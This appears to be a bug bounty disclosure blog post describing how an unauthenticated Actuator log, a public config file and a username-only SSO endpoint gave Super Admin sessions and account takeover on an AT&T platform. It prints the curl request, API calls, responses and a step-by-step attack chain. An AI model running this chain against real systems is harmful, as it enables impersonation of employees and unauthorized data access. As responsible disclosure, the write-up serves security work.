August 29, 2026
From Zero Credentials to Super Admin: An SSO Authentication Bypass on AT&T
The Door Was Already Open

By Tyrion404
7 min read
The Door Was Already Open
A Tyrion404 writeup โ on patience, observation, and doors that were never locked.
They say the smallest man can cast the largest shadow โ if he knows where to stand.
I wasn't looking for a grand breach. I was just reading logs.
The Setup
Every kingdom has a gate. Some gates have guards, passwords, and iron locks. Some gates have a sign that says authentication required โ and nothing behind it.
The target was a corporate procurement analytics platform used to track supplier contracts, vendor spend, and internal financial forecasting across an entire enterprise supply chain. Sensitive by any measure. The kind of system where access implies trust, and trust implies privilege โ and privilege, here, was called Super Admin.
The SSO endpoint was the gate. And the gate was standing wide open.
Act I โ The Logfile That Talked Too Much
I didn't start at the authentication layer. That's not how you approach a kingdom you don't know yet. You start by listening โ to what it's already saying about itself.
The platform ran on a Spring Boot backend, and like many Spring Boot applications deployed without a hardened configuration, it exposed the Actuator management interface i found it From Katana. Actuator is a set of built-in operational endpoints that Spring Boot ships enabled by default. One of those endpoints is /api/actuator/logfile โ which streams the application's runtime log directly to the requester.
No authentication. No session. No token required. A plain GET request to a public URL.
The response was 77,075 lines of runtime application log. Not an error page. Not a 401. The actual log โ timestamped entries from the server's own SsoAuthenticationService, recording every authentication event as it happened.
One of those lines read:[
SsoAuthenticationService - ssoAuthentication|UserName:<username>|##5|
resultSet={
id=<userId>,
user_type=2,
username=<USERNAME>,
name=<Full Name>,
email=<USERNAME>@[REDACTED],
permissionNames=ADD_DASHBOARDS, SORT_DASHBOARD, VIEW_DASHBOARDS, EDIT_DASHBOARDS,
DELETE_DASHBOARDS, ADD_METRICS, EDIT_METRICS, DELETE_METRICS,
VIEW_METRICS, IMPERSONATE_USER, BULK_USER_CREATE,
ADD_USER, EDIT_USER, DELETE_USER, VIEW_USER, ...
roleName=DNA-Super Admin
}SsoAuthenticationService - ssoAuthentication|UserName:<username>|##5|
resultSet={
id=<userId>,
user_type=2,
username=<USERNAME>,
name=<Full Name>,
email=<USERNAME>@[REDACTED],
permissionNames=ADD_DASHBOARDS, SORT_DASHBOARD, VIEW_DASHBOARDS, EDIT_DASHBOARDS,
DELETE_DASHBOARDS, ADD_METRICS, EDIT_METRICS, DELETE_METRICS,
VIEW_METRICS, IMPERSONATE_USER, BULK_USER_CREATE,
ADD_USER, EDIT_USER, DELETE_USER, VIEW_USER, ...
roleName=DNA-Super Admin
}The application had logged a Super Admin's full identity โ internal user ID, corporate username (ATTUID format), email address, role name, and the complete permission list โ into a file that anyone on the internet could read without a single credential.
This was finding number one. And it handed me the username I needed for everything that followed.
Act II โ The SSO Endpoint That Didn't SSO
Armed with the username from the logfile, I turned to the authentication endpoint.
The platform advertised SSO โ Single Sign-On via an external OIDC identity provider. In a correct implementation, this means:
- The user is redirected to the identity provider's authorization endpoint
- The user authenticates with their credentials + MFA
- The identity provider issues an authorization code and redirects back
- The application exchanges that code server-side for tokens
- Only then does the application issue a session to the user
What the endpoint at POST /api/home/ssoAuthentication actually did was something entirely different.
It accepted a JSON request body containing a single field: username. It performed no redirect. It called no external identity provider. It requested no password. It performed no MFA challenge. It issued no OIDC authorization code flow. It simply took the username, looked up the corresponding user record in its own database, and returned a fully-signed JWT access token โ together with a refresh token โ in the HTTP response.
The request body:
curl -sk -X POST \
-H "Content-Type: application/json" \
-d '{"username":"att_user"}' \
"https://REDACTED.att.com/api/home/ssoAuthentication"curl -sk -X POST \
-H "Content-Type: application/json" \
-d '{"username":"att_user"}' \
"https://REDACTED.att.com/api/home/ssoAuthentication"The response:
{
"statusCode": 200,
"statusMessage": "Success",
"data": {
"userId": <id>,
"name": "<Full Name>",
"emailid": "<username>@[REDACTED]",
"roleName": "Super Admin",
"permissionNames": "ADD_DASHBOARDS, SORT_DASHBOARD, VIEW_DASHBOARDS, EDIT_DASHBOARDS,
DELETE_DASHBOARDS, ADD_METRICS, EDIT_METRICS, DELETE_METRICS,
VIEW_METRICS, IMPERSONATE_USER, BULK_USER_CREATE,
ADD_USER, EDIT_USER, DELETE_USER, VIEW_USER, ...",
"accessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOj...",
"refreshToken": "<refresh_token>",
"tokenExpiry": 1800
}
}{
"statusCode": 200,
"statusMessage": "Success",
"data": {
"userId": <id>,
"name": "<Full Name>",
"emailid": "<username>@[REDACTED]",
"roleName": "Super Admin",
"permissionNames": "ADD_DASHBOARDS, SORT_DASHBOARD, VIEW_DASHBOARDS, EDIT_DASHBOARDS,
DELETE_DASHBOARDS, ADD_METRICS, EDIT_METRICS, DELETE_METRICS,
VIEW_METRICS, IMPERSONATE_USER, BULK_USER_CREATE,
ADD_USER, EDIT_USER, DELETE_USER, VIEW_USER, ...",
"accessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOj...",
"refreshToken": "<refresh_token>",
"tokenExpiry": 1800
}
}Super Admin. The highest privilege role on the platform.
IMPERSONATE_USER. The ability to assume any other user's session.
All of it, issued in under a second, to anyone who knew a valid username.
This was not a misconfigured SSO. This was not a logic flaw in an otherwise sound flow. This was the absence of authentication entirely โ a direct user-lookup-and-token-issuance API with no credential verification, wearing the label of an SSO handler.
The root cause: the server-side code accepted the caller's claimed identity at face value. It received a username, fetched the matching record from the database, signed a JWT asserting that identity, and handed it back. The critical step โ verifying that the caller actually is that user โ was simply not there.
Act III โ The Token Works, and It Opens Everything
A JWT is a claim. The real question is whether the backend honors it.
The backend honored it.
Before verifying the token itself, I needed to address the API key the platform required as a secondary header. The application loaded its frontend configuration from a publicly accessible JavaScript file โ config.js โ served as a static asset, before any login page was reached. That file contained the API key in plaintext, alongside an Azure Blob Storage SAS token carrying all thirteen read/write/delete permissions, and OIDC client credentials. No authentication required to read any of it.
With the API key in hand and the bypass-issued JWT loaded as the token header, I hit the authenticated endpoints:
Token verification โ user details endpoint:
POST /api/user/getUserDetails
Headers: token: <jwtfrom-previous-request>, APIKey: <key>
Body: {"userId": <id>}
โ HTTP 200 OKPOST /api/user/getUserDetails
Headers: token: <jwtfrom-previous-request>, APIKey: <key>
Body: {"userId": <id>}
โ HTTP 200 OKThe server accepted the token. The response returned the full user profile for the Super Admin account โ name, email, role, and internal identifiers โ confirming the JWT was not just issued but fully functional as an authenticated session.
Platform data endpoint:
POST /api/home/getStreakCount
Headers: token: <jwt>
Body: {"userId": <id>}
โ {"data":[{"StreakCount":0,"SEND_FLAG":"N"}],"statusCode":200,"statusMessage":"Success"}POST /api/home/getStreakCount
Headers: token: <jwt>
Body: {"userId": <id>}
โ {"data":[{"StreakCount":0,"SEND_FLAG":"N"}],"statusCode":200,"statusMessage":"Success"}HTTP 200. Live data. Token accepted.
StreakUser directory โ 3,182 employee records:
POST /api/user/listUsers
Headers: token: <jwt>, APIKey: <key>
Body: {"pageNo":1,"noOfRecords":10,"userId":<id>}
{
"data": {
"userList": [
{
"userId": 1,
"attuid": "<redacted>",
"name": "<redacted>",
"emailid": "<redacted>@[REDACTED]",
"roleName": "DNA-Super Admin"
},
{
"userId": 2,
"attuid": "<redacted>",
"name": "<redacted>",
"emailid": "<redacted>@[REDACTED]",
"roleName": "DNA User"
}
],
"totalCount": 3182
}
}POST /api/user/listUsers
Headers: token: <jwt>, APIKey: <key>
Body: {"pageNo":1,"noOfRecords":10,"userId":<id>}
{
"data": {
"userList": [
{
"userId": 1,
"attuid": "<redacted>",
"name": "<redacted>",
"emailid": "<redacted>@[REDACTED]",
"roleName": "DNA-Super Admin"
},
{
"userId": 2,
"attuid": "<redacted>",
"name": "<redacted>",
"emailid": "<redacted>@[REDACTED]",
"roleName": "DNA User"
}
],
"totalCount": 3182
}
}
A single authenticated call returned the full name, corporate email, internal ID, and role assignment for every user on the platform. 3,182 records. Every username in that list was now a valid target for the bypass โ each one could be passed to /api/home/ssoAuthentication to generate a valid signed session under that employee's identity.
The attack loop was self-contained and complete:
StepActionResult1GET /api/actuator/logfileHarvest a valid username from 77,000 log lines2GET /config.jsExtract the API key from the public frontend config3POST /api/home/ssoAuthentication with {"username":"<attuid>"}Receive a signed Super Admin JWT, no credentials4POST /api/user/listUsers with the JWTEnumerate all 3,182 employee usernames 5 Repeat step 3 for any target username Issue authenticated sessions for any employee
All Endpoints In This Report I Discover It From Swagger It's Open and Leaked Huge number of Endpoints It Helped me To Discover a lot of Critical
Total time from zero access to Super Admin session: under 60 seconds. Zero credentials. Zero prior knowledge of internal systems.
Act IV โ Proving What They Doubted
The initial triage moved the report to High (8.2) with a specific objection: integrity was unaffected, and no account takeover proof of concept had been provided.
Fair. Show, don't tell.
The analyst's position was that a JWT being issued โ even without credentials โ didn't constitute a full account takeover without demonstrating that the token produced meaningful access under another employee's identity. And the downgrade to High from the initial Critical was tied to the absence of a confirmed write impact.
I built the proof in three steps.
Step one: I selected a different employee's username from the platform โ a user identity I had no legitimate access to, not the service account from the logfile.
Step two: I submitted that username to the bypass endpoint. The endpoint issued a fully-signed JWT for that employee โ their name, their user ID, their session โ in the same way it had for every other account I tested.
Step three: Using that unauthorized token, I performed a persistent write to the platform's report store โ specifically, the comment submission endpoint at /api/reportstore/commentsReportStoreV2(From Swagger)The request was attributed by the backend to the victim employee's user ID and full name.
The read-back response:
{
"comment_id": 93,
"user_id": "<victim-id>",
"user_name": "<Victim Full Name>",
"comment_txt": "ATO_INTEGRITY_PROOF - written via auth bypass"
}{
"comment_id": 93,
"user_id": "<victim-id>",
"user_name": "<Victim Full Name>",
"comment_txt": "ATO_INTEGRITY_PROOF - written via auth bypass"
}
The backend stored the write, returned it through the corresponding read endpoint, and attributed it to the victim's identity โ because as far as the backend was concerned, that JWT was the victim. The attacker-controlled content was now persisted in the platform's data store under an employee identity that the attacker had no legitimate access to and had never authenticated as.
The test record was deleted immediately after confirmation. No production data was read beyond what was necessary to demonstrate the impact. No bulk extraction was performed.
This demonstrated three things simultaneously:
- ATO: the platform issued and honored a fully-functional session for a different employee's identity, with no credential verification at any step
- Integrity impact: the attacker was able to persistently write data to the platform under the victim's identity
- Scope: the same chain applied to all 3,182 users whose usernames were enumerable from the directory endpoint
The revised CVSS argument was AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N = 9.3 Critical, or conservatively without Scope:Changed, 9.1 Critical. and I have been rewarded with $$$$
tyrion404 โ HackerOne
"A very small man can cast a very large shadow."